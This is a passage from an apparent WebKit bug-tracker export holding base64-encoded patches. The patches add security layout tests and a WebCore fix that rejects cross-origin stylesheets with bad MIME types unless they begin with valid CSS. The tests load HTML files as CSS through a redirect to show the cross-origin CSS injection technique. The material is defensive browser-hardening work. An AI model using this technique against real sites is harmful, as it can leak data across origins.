dXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3Jlc291cmNlcy94ZG9tY3NzMS5jc3MJKHJldmlz
aW9uIDApCkBAIC0wLDAgKzEsNSBAQAorPGh0bWw+e30KKy5pZDMgeworICBiYWNrZ3JvdW5kLWNv
bG9yOiB5ZWxsb3c7Cit9Cis8L2h0bWw+CkluZGV4OiBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3Nl
Y3VyaXR5L3Jlc291cmNlcy94ZG9tY3NzMi5jc3MKPT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gTGF5b3V0VGVzdHMv
aHR0cC90ZXN0cy9zZWN1cml0eS9yZXNvdXJjZXMveGRvbWNzczIuY3NzCShyZXZpc2lvbiAwKQor
KysgTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS9yZXNvdXJjZXMveGRvbWNzczIuY3Nz
CShyZXZpc2lvbiAwKQpAQCAtMCwwICsxLDUgQEAKKzxodG1sPnt9CisuaWQ2IHsKKyAgYmFja2dy
b3VuZC1jb2xvcjogeWVsbG93OworfQorPC9odG1sPgpJbmRleDogTGF5b3V0VGVzdHMvaHR0cC90
ZXN0cy9zZWN1cml0eS9yZXNvdXJjZXMveGRvbWNzczIuaHRtbAo9PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBMYXlv
dXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3Jlc291cmNlcy94ZG9tY3NzMi5odG1sCShyZXZp
c2lvbiAwKQorKysgTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS9yZXNvdXJjZXMveGRv
bWNzczIuaHRtbAkocmV2aXNpb24gMCkKQEAgLTAsMCArMSw1IEBACis8aHRtbD57fQorLmlkMiB7
CisgIGJhY2tncm91bmQtY29sb3I6IHllbGxvdzsKK30KKzwvaHRtbD4KSW5kZXg6IExheW91dFRl
c3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkvcmVzb3VyY2VzL3hkb21jc3MzLmh0bWwKPT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PQotLS0gTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS9yZXNvdXJjZXMveGRvbWNzczMu
aHRtbAkocmV2aXNpb24gMCkKKysrIExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkvcmVz
b3VyY2VzL3hkb21jc3MzLmh0bWwJKHJldmlzaW9uIDApCkBAIC0wLDAgKzEsNSBAQAorPGh0bWw+
e30KKy5pZDQgeworICBiYWNrZ3JvdW5kLWNvbG9yOiB5ZWxsb3c7Cit9Cis8L2h0bWw+CkluZGV4
OiBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3Jlc291cmNlcy94ZG9tY3NzNC5odG1s
Cj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT0KLS0tIExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkvcmVzb3VyY2Vz
L3hkb21jc3M0Lmh0bWwJKHJldmlzaW9uIDApCisrKyBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3Nl
Y3VyaXR5L3Jlc291cmNlcy94ZG9tY3NzNC5odG1sCShyZXZpc2lvbiAwKQpAQCAtMCwwICsxLDMg
QEAKKy5pZDUgeworICBiYWNrZ3JvdW5kLWNvbG9yOiB5ZWxsb3c7Cit9CkluZGV4OiBMYXlvdXRU
ZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L2Nyb3NzLWRvbWFpbi1jc3MuaHRtbAo9PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
Ci0tLSBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L2Nyb3NzLWRvbWFpbi1jc3MuaHRt
bAkocmV2aXNpb24gMCkKKysrIExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkvY3Jvc3Mt
ZG9tYWluLWNzcy5odG1sCShyZXZpc2lvbiAwKQpAQCAtMCwwICsxLDQ3IEBACis8aHRtbD4KKzxo
ZWFkPgorPGxpbmsgcmVsPSJzdHlsZXNoZWV0IgorICAgICAgaHJlZj0icmVzb3VyY2VzL3JlZGly
LnBocD91cmw9aHR0cDovL2xvY2FsaG9zdDo4MDAwL3NlY3VyaXR5L3Jlc291cmNlcy94ZG9tY3Nz
MS5odG1sIj48L2xpbms+Cis8bGluayByZWw9InN0eWxlc2hlZXQiCisgICAgICB0eXBlPSJ0ZXh0
L2NzcyIKKyAgICAgIGhyZWY9InJlc291cmNlcy9yZWRpci5waHA/dXJsPWh0dHA6Ly9sb2NhbGhv
c3Q6ODAwMC9zZWN1cml0eS9yZXNvdXJjZXMveGRvbWNzczIuaHRtbCI+PC9saW5rPgorPGxpbmsg
cmVsPSJzdHlsZXNoZWV0IgorICAgICAgaHJlZj0icmVzb3VyY2VzL3JlZGlyLnBocD91cmw9aHR0
cDovL2xvY2FsaG9zdDo4MDAwL3NlY3VyaXR5L3Jlc291cmNlcy94ZG9tY3NzMS5jc3MiPjwvbGlu
az4KKzxsaW5rIHJlbD0ic3R5bGVzaGVldCIKKyAgICAgIGhyZWY9InJlc291cmNlcy94ZG9tY3Nz
My5odG1sIj48L2xpbms+Cis8c2NyaXB0PgoraWYgKHdpbmRvdy5sYXlvdXRUZXN0Q29udHJvbGxl
cikgeworICBsYXlvdXRUZXN0Q29udHJvbGxlci53YWl0VW50aWxEb25lKCk7CisgIGxheW91dFRl
c3RDb250cm9sbGVyLmR1bXBBc1RleHQoKTsKK30KKword2luZG93Lm9ubG9hZCA9IGZ1bmN0aW9u
KCkgeworICBlbGUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaWQxIik7CisgIGVsZS5pbm5l
clRleHQgPSAiTElOSyBDcm9zcy1kb21haW4sIEhUTUwsIHZhbGlkOiAiICsgd2luZG93LmdldENv
bXB1dGVkU3R5bGUoZWxlLCBudWxsKS5nZXRQcm9wZXJ0eVZhbHVlKCdiYWNrZ3JvdW5kLWNvbG9y
Jyk7CisgIGVsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpZDIiKTsKKyAgZWxlLmlubmVy
VGV4dCA9ICJMSU5LICsgSU1QT1JUIENyb3NzLWRvbWFpbiwgSFRNTCwgaW52YWxpZDogIiArIHdp
bmRvdy5nZXRDb21wdXRlZFN0eWxlKGVsZSwgbnVsbCkuZ2V0UHJvcGVydHlWYWx1ZSgnYmFja2dy
b3VuZC1jb2xvcicpOworICBlbGUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaWQzIik7Cisg
IGVsZS5pbm5lclRleHQgPSAiTElOSyBDcm9zcy1kb21haW4sIENTUywgaW52YWxpZDogIiArIHdp
bmRvdy5nZXRDb21wdXRlZFN0eWxlKGVsZSwgbnVsbCkuZ2V0UHJvcGVydHlWYWx1ZSgnYmFja2dy
b3VuZC1jb2xvcicpOworICBlbGUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaWQ0Iik7Cisg
IGVsZS5pbm5lclRleHQgPSAiTElOSyBTYW1lLWRvbWFpbiwgSFRNTCwgaW52YWxpZDogIiArIHdp
bmRvdy5nZXRDb21wdXRlZFN0eWxlKGVsZSwgbnVsbCkuZ2V0UHJvcGVydHlWYWx1ZSgnYmFja2dy
b3VuZC1jb2xvcicpOworICBlbGUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaWQ1Iik7Cisg
IGVsZS5pbm5lclRleHQgPSAiSU1QT1JUIENyb3NzLWRvbWFpbiwgSFRNTCwgdmFsaWQ6ICIgKyB3
aW5kb3cuZ2V0Q29tcHV0ZWRTdHlsZShlbGUsIG51bGwpLmdldFByb3BlcnR5VmFsdWUoJ2JhY2tn
cm91bmQtY29sb3InKTsKKyAgZWxlID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImlkNiIpOwor
ICBlbGUuaW5uZXJUZXh0ID0gIklNUE9SVCBDcm9zcy1kb21haW4sIENTUywgaW52YWxpZDogIiAr
IHdpbmRvdy5nZXRDb21wdXRlZFN0eWxlKGVsZSwgbnVsbCkuZ2V0UHJvcGVydHlWYWx1ZSgnYmFj
a2dyb3VuZC1jb2xvcicpOworICBlbGUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaWQ3Iik7
CisgIGVsZS5pbm5lclRleHQgPSAiSU1QT1JUIFNhbWUtZG9tYWluLCBIVE1MLCBpbnZhbGlkOiAi
ICsgd2luZG93LmdldENvbXB1dGVkU3R5bGUoZWxlLCBudWxsKS5nZXRQcm9wZXJ0eVZhbHVlKCdi
YWNrZ3JvdW5kLWNvbG9yJyk7CisKKyAgaWYgKHdpbmRvdy5sYXlvdXRUZXN0Q29udHJvbGxlcikK
KyAgICBsYXlvdXRUZXN0Q29udHJvbGxlci5ub3RpZnlEb25lKCk7Cit9Cis8L3NjcmlwdD4KKzxz
dHlsZT4KKy8qIERlbGliZXJhdGVseSByZXVzZSB0aGUgc2FtZSBmaWxlIC8gY2xhc3MgLyBpZCBv
biB0aGlzIGZpcnN0IG9uZSAqLworQGltcG9ydCAicmVzb3VyY2VzL3JlZGlyLnBocD91cmw9aHR0
cDovL2xvY2FsaG9zdDo4MDAwL3NlY3VyaXR5L3Jlc291cmNlcy94ZG9tY3NzMi5odG1sIjsKK0Bp
bXBvcnQgInJlc291cmNlcy9yZWRpci5waHA/dXJsPWh0dHA6Ly9sb2NhbGhvc3Q6ODAwMC9zZWN1
cml0eS9yZXNvdXJjZXMveGRvbWNzczQuaHRtbCI7CitAaW1wb3J0ICJyZXNvdXJjZXMvcmVkaXIu
cGhwP3VybD1odHRwOi8vbG9jYWxob3N0OjgwMDAvc2VjdXJpdHkvcmVzb3VyY2VzL3hkb21jc3My
LmNzcyI7CitAaW1wb3J0ICJyZXNvdXJjZXMveGRvbWNzczUuaHRtbCI7Cis8L3N0eWxlPgorPC9o
ZWFkPgorPGJvZHk+PGRpdiBpZD0iaWQxIiBjbGFzcz0iaWQxIj48L2Rpdj48ZGl2IGlkPSJpZDIi
IGNsYXNzPSJpZDIiPjwvZGl2PjxkaXYgaWQ9ImlkMyIgY2xhc3M9ImlkMyI+PC9kaXY+PGRpdiBp
ZD0iaWQ0IiBjbGFzcz0iaWQ0Ij48L2Rpdj48ZGl2IGlkPSJpZDUiIGNsYXNzPSJpZDUiPjwvZGl2
PjxkaXYgaWQ9ImlkNiIgY2xhc3M9ImlkNiI+PC9kaXY+PGRpdiBpZD0iaWQ3IiBjbGFzcz0iaWQ3
Ij48L2Rpdj48L2JvZHk+Cis8L2h0bWw+CkluZGV4OiBMYXlvdXRUZXN0cy9DaGFuZ2VMb2cKPT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PQotLS0gTGF5b3V0VGVzdHMvQ2hhbmdlTG9nCShyZXZpc2lvbiA1MDEwMSkKKysrIExh
eW91dFRlc3RzL0NoYW5nZUxvZwkod29ya2luZyBjb3B5KQpAQCAtMSwzICsxLDIwIEBACisyMDA5
LTExLTA0ICBDaHJpcyBFdmFucyAgPGNldmFuc0BjaHJvbWl1bS5vcmc+CisKKyAgICAgICAgUmV2
aWV3ZWQgYnkgTk9CT0RZIChPT1BTISkuCisKKyAgICAgICAgVGVzdCBmb3IgaHR0cHM6Ly9idWdz
LndlYmtpdC5vcmcvc2hvd19idWcuY2dpP2lkPTI5ODIwCisgICAgICAgIEFkb3B0IGEgbW9yZSBj
b25zZXJ2YXRpdmUgYXBwcm9hY2ggZm9yIGxvYWRpbmcgQ1NTIGNyb3NzLWRvbWFpbi4KKworICAg
ICAgICAqIGh0dHAvdGVzdHMvc2VjdXJpdHkvY3Jvc3MtZG9tYWluLWNzcy5odG1sOiBBZGRlZC4K
KyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L2Nyb3NzLWRvbWFpbi1jc3MtZXhwZWN0ZWQu
dHh0OiBBZGRlZC4KKyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3Jlc291cmNlcy94ZG9t
Y3NzMS5jc3M6IEFkZGVkLgorICAgICAgICAqIGh0dHAvdGVzdHMvc2VjdXJpdHkvcmVzb3VyY2Vz
L3hkb21jc3MyLmNzczogQWRkZWQuCisgICAgICAgICogaHR0cC90ZXN0cy9zZWN1cml0eS9yZXNv
dXJjZXMveGRvbWNzczEuaHRtbDogQWRkZWQuCisgICAgICAgICogaHR0cC90ZXN0cy9zZWN1cml0
eS9yZXNvdXJjZXMveGRvbWNzczIuaHRtbDogQWRkZWQuCisgICAgICAgICogaHR0cC90ZXN0cy9z
ZWN1cml0eS9yZXNvdXJjZXMveGRvbWNzczMuaHRtbDogQWRkZWQuCisgICAgICAgICogaHR0cC90
ZXN0cy9zZWN1cml0eS9yZXNvdXJjZXMveGRvbWNzczQuaHRtbDogQWRkZWQuCisgICAgICAgICog
aHR0cC90ZXN0cy9zZWN1cml0eS9yZXNvdXJjZXMveGRvbWNzczUuaHRtbDogQWRkZWQuCisKIDIw
MDktMTAtMjYgIERpbWl0cmkgR2xhemtvdiAgPGRnbGF6a292QGNocm9taXVtLm9yZz4KIAogICAg
ICAgICBSZXZpZXdlZCBieSBHZW9mZnJleSBHYXJlbi4K
</data>
<flag name="review"
          id="24088"
          type_id="1"
          status="-"
          setter="hyatt"
    />
          </attachment>
          <attachment
              isobsolete="0"
              ispatch="1"
              isprivate="0"
          >
            <attachid>43007</attachid>
            <date>2009-11-11 14:39:15 -0800</date>
            <delta_ts>2009-11-16 14:46:40 -0800</delta_ts>
            <desc>Address all comments from review</desc>
            <filename>wkcss2.diff</filename>
            <type>text/plain</type>
            <size>22164</size>
            <attacher name="Chris Evans">scarybeasts</attacher>
            
              <data encoding="base64">SW5kZXg6IFdlYkNvcmUvZG9tL1Byb2Nlc3NpbmdJbnN0cnVjdGlvbi5jcHAKPT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQot
LS0gV2ViQ29yZS9kb20vUHJvY2Vzc2luZ0luc3RydWN0aW9uLmNwcAkocmV2aXNpb24gNTA3NTYp
CisrKyBXZWJDb3JlL2RvbS9Qcm9jZXNzaW5nSW5zdHJ1Y3Rpb24uY3BwCSh3b3JraW5nIGNvcHkp
CkBAIC0yMDQsNyArMjA0LDEwIEBACiAjZW5kaWYKICAgICBSZWZQdHI8Q1NTU3R5bGVTaGVldD4g
bmV3U2hlZXQgPSBDU1NTdHlsZVNoZWV0OjpjcmVhdGUodGhpcywgdXJsLCBjaGFyc2V0KTsKICAg
ICBtX3NoZWV0ID0gbmV3U2hlZXQ7Ci0gICAgcGFyc2VTdHlsZVNoZWV0KHNoZWV0LT5zaGVldFRl
eHQoKSk7CisgICAgLy8gV2UgZG9uJ3QgbmVlZCB0aGUgY3Jvc3Mtb3JpZ2luIHNlY3VyaXR5IGNo
ZWNrIGhlcmUgYmVjYXVzZSB3ZSBhcmUKKyAgICAvLyBnZXR0aW5nIHRoZSBzaGVldCB0ZXh0IGlu
ICJzdHJpY3QiIG1vZGUuIFRoaXMgZW5mb3JjZXMgYSB2YWxpZCBDU1MgTUlNRQorICAgIC8vIHR5
cGUuCisgICAgcGFyc2VTdHlsZVNoZWV0KHNoZWV0LT5zaGVldFRleHQodHJ1ZSkpOwogICAgIG5l
d1NoZWV0LT5zZXRUaXRsZShtX3RpdGxlKTsKICAgICBuZXdTaGVldC0+c2V0TWVkaWEoTWVkaWFM
aXN0OjpjcmVhdGUobmV3U2hlZXQuZ2V0KCksIG1fbWVkaWEpKTsKICAgICBuZXdTaGVldC0+c2V0
RGlzYWJsZWQobV9hbHRlcm5hdGUpOwpJbmRleDogV2ViQ29yZS9DaGFuZ2VMb2cKPT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PQotLS0gV2ViQ29yZS9DaGFuZ2VMb2cJKHJldmlzaW9uIDUwNzU2KQorKysgV2ViQ29yZS9DaGFu
Z2VMb2cJKHdvcmtpbmcgY29weSkKQEAgLTEsMyArMSwzOSBAQAorMjAwOS0xMS0xMSAgQ2hyaXMg
RXZhbnMgIDxjZXZhbnNAY2hyb21pdW0ub3JnPgorCisgICAgICAgIFJldmlld2VkIGJ5IE5PQk9E
WSAoT09QUyEpLgorCisgICAgICAgIEFkb3B0IGEgbW9yZSBjb25zZXJ2YXRpdmUgYXBwcm9hY2gg
Zm9yIGxvYWRpbmcgQ1NTIGNyb3NzLW9yaWdpbi4gV2hlbgorICAgICAgICBsb2FkaW5nIENTUyBj
cm9zcy1vcmlnaW4sIGl0IG11c3QgYmUgc3RhcnQgd2l0aCB2YWxpZCBDU1MgaWYgdGhlIE1JTUUK
KyAgICAgICAgdHlwZSBpcyBicm9rZW4uCisKKyAgICAgICAgaHR0cHM6Ly9idWdzLndlYmtpdC5v
cmcvc2hvd19idWcuY2dpP2lkPTI5ODIwCisKKyAgICAgICAgVGVzdDogaHR0cC90ZXN0cy9zZWN1
cml0eS9jcm9zcy1vcmlnaW4tY3NzLmh0bWwKKyAgICAgICAgVGVzdDogaHR0cC90ZXN0cy9zZWN1
cml0eS9jcm9zcy1vcmlnaW4tY3NzLWluLXhtbC54bWwKKworICAgICAgICAqIGh0bWwvSFRNTExp
bmtFbGVtZW50LmNwcDoKKyAgICAgICAgKFdlYkNvcmU6OkhUTUxMaW5rRWxlbWVudDo6c2V0Q1NT
U3R5bGVTaGVldCk6IEVuZm9yY2Ugc3RyaWN0ZXIgbG9hZAorICAgICAgICByZXF1aXJlbWVudHMg
Zm9yIGNyb3NzLW9yaWdpbiBsb2Fkcy4KKyAgICAgICAgKiBjc3MvQ1NTSW1wb3J0UnVsZS5jcHA6
CisgICAgICAgIChXZWJDb3JlOjpDU1NJbXBvcnRSdWxlOjpzZXRDU1NTdHlsZVNoZWV0KTogRW5m
b3JjZSBzdHJpY3RlciBsb2FkCisgICAgICAgIHJlcXVpcmVtZW50cyBmb3IgY3Jvc3Mtb3JpZ2lu
IGxvYWRzLgorICAgICAgICAqIGNzcy9DU1NTdHlsZVNoZWV0Lmg6CisgICAgICAgICogY3NzL0NT
U1N0eWxlU2hlZXQuY3BwOgorICAgICAgICAqIGNzcy9DU1NQYXJzZXIuY3BwOgorICAgICAgICAq
IGNzcy9DU1NHcmFtbWFyLnk6CisgICAgICAgICogY3NzL0NTU1BhcnNlci5oOgorICAgICAgICBB
ZGQgYWJpbGl0eSB0byB0ZWxsIHdoZXRoZXIgdGhlIENTUyBwYXJzZSBzdGFydGVkIHdpdGggYSBz
eW50YWN0aWNhbGx5CisgICAgICAgIHZhbGlkIENTUyBydWxlLgorICAgICAgICAqIGxvYWRlci9D
YWNoZWRDU1NTdHlsZVNoZWV0Lmg6CisgICAgICAgICogbG9hZGVyL0NhY2hlZENTU1N0eWxlU2hl
ZXQuY3BwOgorICAgICAgICAoV2ViQ29yZTo6Q2FjaGVkQ1NTU3R5bGVTaGVldDo6c2hlZXRUZXh0
KTogQWRkIGFiaWxpdHkgdG8gcmV0dXJuCisgICAgICAgIHdoZXRoZXIgdGhlIE1JTUUgdHlwZSB3
YXMgYWNjZXB0YWJsZSBmb3IgQ1NTLgorICAgICAgICAoV2ViQ29yZTo6Q2FjaGVkQ1NTU3R5bGVT
aGVldDo6Y2FuVXNlU2hlZXQpOiBJZiByZXF1ZXN0ZWQsIHJldHVybgorICAgICAgICB3aGV0aGVy
IHRoZSBNSU1FIHR5cGUgd2FzIHZhbGlkIG9yIG5vdC4KKyAgICAgICAgKiBkb20vUHJvY2Vzc2lu
Z0luc3RydWN0aW9uLmNwcAorICAgICAgICAoV2ViQ29yZTo6UHJvY2Vzc2luZ0luc3RydWN0aW9u
OjpzZXRDU1NTdHlsZVNoZWV0KTogTWFrZSB1c2Ugb2Ygc3RyaWN0CisgICAgICAgIG1vZGUgZXhw
bGljaXQgYW5kIGFkZCBjb21tZW50LgorCiAyMDA5LTExLTEwICBLZWlzaGkgSGF0dG9yaSAgPGNh
c2V5LmhhdHRvcmlAZ21haWwuY29tPgogCiAgICAgICAgIFJldmlld2VkIGJ5IFRpbW90aHkgSGF0
Y2hlci4KSW5kZXg6IFdlYkNvcmUvaHRtbC9IVE1MTGlua0VsZW1lbnQuY3BwCj09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0K
LS0tIFdlYkNvcmUvaHRtbC9IVE1MTGlua0VsZW1lbnQuY3BwCShyZXZpc2lvbiA1MDc1NikKKysr
IFdlYkNvcmUvaHRtbC9IVE1MTGlua0VsZW1lbnQuY3BwCSh3b3JraW5nIGNvcHkpCkBAIC0yNTks
MTQgKzI1OSwyNiBAQAogCiAgICAgYm9vbCBzdHJpY3RQYXJzaW5nID0gIWRvY3VtZW50KCktPmlu
Q29tcGF0TW9kZSgpOwogICAgIGJvb2wgZW5mb3JjZU1JTUVUeXBlID0gc3RyaWN0UGFyc2luZzsK
KyAgICBib29sIGNyb3NzT3JpZ2luQ1NTID0gZmFsc2U7CisgICAgYm9vbCB2YWxpZE1JTUVUeXBl
ID0gZmFsc2U7CiAKICAgICAvLyBDaGVjayB0byBzZWUgaWYgd2Ugc2hvdWxkIGVuZm9yY2UgdGhl
IE1JTUUgdHlwZSBvZiB0aGUgQ1NTIHJlc291cmNlIGluIHN0cmljdCBtb2RlLgogICAgIC8vIFJ1
bm5pbmcgaW4gaVdlYiAyIGlzIG9uZSBleGFtcGxlIG9mIHdoZXJlIHdlIGRvbid0IHdhbnQgdG8g
LSA8cmRhcjovL3Byb2JsZW0vNjA5OTc0OD4KICAgICBpZiAoZW5mb3JjZU1JTUVUeXBlICYmIGRv
Y3VtZW50KCktPnBhZ2UoKSAmJiAhZG9jdW1lbnQoKS0+cGFnZSgpLT5zZXR0aW5ncygpLT5lbmZv
cmNlQ1NTTUlNRVR5cGVJblN0cmljdE1vZGUoKSkKICAgICAgICAgZW5mb3JjZU1JTUVUeXBlID0g
ZmFsc2U7CiAKLSAgICBTdHJpbmcgc2hlZXRUZXh0ID0gc2hlZXQtPnNoZWV0VGV4dChlbmZvcmNl
TUlNRVR5cGUpOworICAgIC8vIElmIHdlJ3JlIGxvYWRpbmcgYSBzdHlsZXNoZWV0IGNyb3NzLW9y
aWdpbiwgYW5kIHRoZSBNSU1FIHR5cGUgaXMgbm90CisgICAgLy8gc3RhbmRhcmQsIHJlcXVpcmUg
dGhlIENTUyB0byBhdCBsZWFzdCBzdGFydCB3aXRoIGEgc3ludGFjdGljYWxseQorICAgIC8vIHZh
bGlkIENTUyBydWxlLgorICAgIC8vIFRoaXMgcHJldmVudHMgYW4gYXR0YWNrZXIgcGxheWluZyBn
YW1lcyBieSBpbmplY3RpbmcgQ1NTIHN0cmluZ3MgaW50bworICAgIC8vIEhUTUwsIFhNTCwgSlNP
TiwgZXRjLiBldGMuCisgICAgaWYgKCFkb2N1bWVudCgpLT5zZWN1cml0eU9yaWdpbigpLT5jYW5S
ZXF1ZXN0KEtVUkwoUGFyc2VkVVJMU3RyaW5nLCB1cmwpKSkKKyAgICAgICAgY3Jvc3NPcmlnaW5D
U1MgPSB0cnVlOworCisgICAgU3RyaW5nIHNoZWV0VGV4dCA9IHNoZWV0LT5zaGVldFRleHQoZW5m
b3JjZU1JTUVUeXBlLCAmdmFsaWRNSU1FVHlwZSk7CiAgICAgbV9zaGVldC0+cGFyc2VTdHJpbmco
c2hlZXRUZXh0LCBzdHJpY3RQYXJzaW5nKTsKKyAgICBpZiAoY3Jvc3NPcmlnaW5DU1MgJiYgIXZh
bGlkTUlNRVR5cGUgJiYgIW1fc2hlZXQtPmhhc1N5bnRhY3RpY2FsbHlWYWxpZENTU0hlYWRlcigp
KQorICAgICAgICBtX3NoZWV0ID0gQ1NTU3R5bGVTaGVldDo6Y3JlYXRlKHRoaXMsIHVybCwgY2hh
cnNldCk7CiAKICAgICBpZiAoc3RyaWN0UGFyc2luZyAmJiBkb2N1bWVudCgpLT5zZXR0aW5ncygp
ICYmIGRvY3VtZW50KCktPnNldHRpbmdzKCktPm5lZWRzU2l0ZVNwZWNpZmljUXVpcmtzKCkpIHsK
ICAgICAgICAgLy8gV29yayBhcm91bmQgPGh0dHBzOi8vYnVncy53ZWJraXQub3JnL3Nob3dfYnVn
LmNnaT9pZD0yODM1MD4uCkluZGV4OiBXZWJDb3JlL2Nzcy9DU1NTdHlsZVNoZWV0LmNwcAo9PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09Ci0tLSBXZWJDb3JlL2Nzcy9DU1NTdHlsZVNoZWV0LmNwcAkocmV2aXNpb24gNTA3NTYp
CisrKyBXZWJDb3JlL2Nzcy9DU1NTdHlsZVNoZWV0LmNwcAkod29ya2luZyBjb3B5KQpAQCAtNDIs
NiArNDIsNyBAQAogICAgICwgbV9sb2FkQ29tcGxldGVkKGZhbHNlKQogICAgICwgbV9zdHJpY3RQ
YXJzaW5nKCFwYXJlbnRTaGVldCB8fCBwYXJlbnRTaGVldC0+dXNlU3RyaWN0UGFyc2luZygpKQog
ICAgICwgbV9pc1VzZXJTdHlsZVNoZWV0KHBhcmVudFNoZWV0ID8gcGFyZW50U2hlZXQtPmlzVXNl
clN0eWxlU2hlZXQoKSA6IGZhbHNlKQorICAgICwgbV9oYXNTeW50YWN0aWNhbGx5VmFsaWRDU1NI
ZWFkZXIodHJ1ZSkKIHsKIH0KIApAQCAtNTMsNiArNTQsNyBAQAogICAgICwgbV9sb2FkQ29tcGxl
dGVkKGZhbHNlKQogICAgICwgbV9zdHJpY3RQYXJzaW5nKGZhbHNlKQogICAgICwgbV9pc1VzZXJT
dHlsZVNoZWV0KGZhbHNlKQorICAgICwgbV9oYXNTeW50YWN0aWNhbGx5VmFsaWRDU1NIZWFkZXIo
dHJ1ZSkKIHsKIH0KIApAQCAtNjIsNiArNjQsNyBAQAogICAgICwgbV9jaGFyc2V0KGNoYXJzZXQp
CiAgICAgLCBtX2xvYWRDb21wbGV0ZWQoZmFsc2UpCiAgICAgLCBtX3N0cmljdFBhcnNpbmcoIW93
bmVyUnVsZSB8fCBvd25lclJ1bGUtPnVzZVN0cmljdFBhcnNpbmcoKSkKKyAgICAsIG1faGFzU3lu
dGFjdGljYWxseVZhbGlkQ1NTSGVhZGVyKHRydWUpCiB7CiAgICAgQ1NTU3R5bGVTaGVldCogcGFy
ZW50U2hlZXQgPSBvd25lclJ1bGUgPyBvd25lclJ1bGUtPnBhcmVudFN0eWxlU2hlZXQoKSA6IDA7
CiAgICAgbV9kb2MgPSBwYXJlbnRTaGVldCA/IHBhcmVudFNoZWV0LT5kb2MoKSA6IDA7CkluZGV4
OiBXZWJDb3JlL2Nzcy9DU1NTdHlsZVNoZWV0LmgKPT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gV2ViQ29yZS9jc3Mv
Q1NTU3R5bGVTaGVldC5oCShyZXZpc2lvbiA1MDc1NikKKysrIFdlYkNvcmUvY3NzL0NTU1N0eWxl
U2hlZXQuaAkod29ya2luZyBjb3B5KQpAQCAtOTUsNiArOTUsOCBAQAogCiAgICAgdm9pZCBzZXRJ
c1VzZXJTdHlsZVNoZWV0KGJvb2wgYikgeyBtX2lzVXNlclN0eWxlU2hlZXQgPSBiOyB9CiAgICAg
Ym9vbCBpc1VzZXJTdHlsZVNoZWV0KCkgY29uc3QgeyByZXR1cm4gbV9pc1VzZXJTdHlsZVNoZWV0
OyB9CisgICAgdm9pZCBzZXRIYXNTeW50YWN0aWNhbGx5VmFsaWRDU1NIZWFkZXIoYm9vbCBiKSB7
IG1faGFzU3ludGFjdGljYWxseVZhbGlkQ1NTSGVhZGVyID0gYjsgfQorICAgIGJvb2wgaGFzU3lu
dGFjdGljYWxseVZhbGlkQ1NTSGVhZGVyKCkgY29uc3QgeyByZXR1cm4gbV9oYXNTeW50YWN0aWNh
bGx5VmFsaWRDU1NIZWFkZXI7IH0KIAogcHJpdmF0ZToKICAgICBDU1NTdHlsZVNoZWV0KE5vZGUq
IG93bmVyTm9kZSwgY29uc3QgU3RyaW5nJiBocmVmLCBjb25zdCBTdHJpbmcmIGNoYXJzZXQpOwpA
QCAtMTEwLDYgKzExMiw3IEBACiAgICAgYm9vbCBtX2xvYWRDb21wbGV0ZWQgOiAxOwogICAgIGJv
b2wgbV9zdHJpY3RQYXJzaW5nIDogMTsKICAgICBib29sIG1faXNVc2VyU3R5bGVTaGVldCA6IDE7
CisgICAgYm9vbCBtX2hhc1N5bnRhY3RpY2FsbHlWYWxpZENTU0hlYWRlciA6IDE7CiB9OwogCiB9
IC8vIG5hbWVzcGFjZQpJbmRleDogV2ViQ29yZS9jc3MvQ1NTUGFyc2VyLmNwcAo9PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
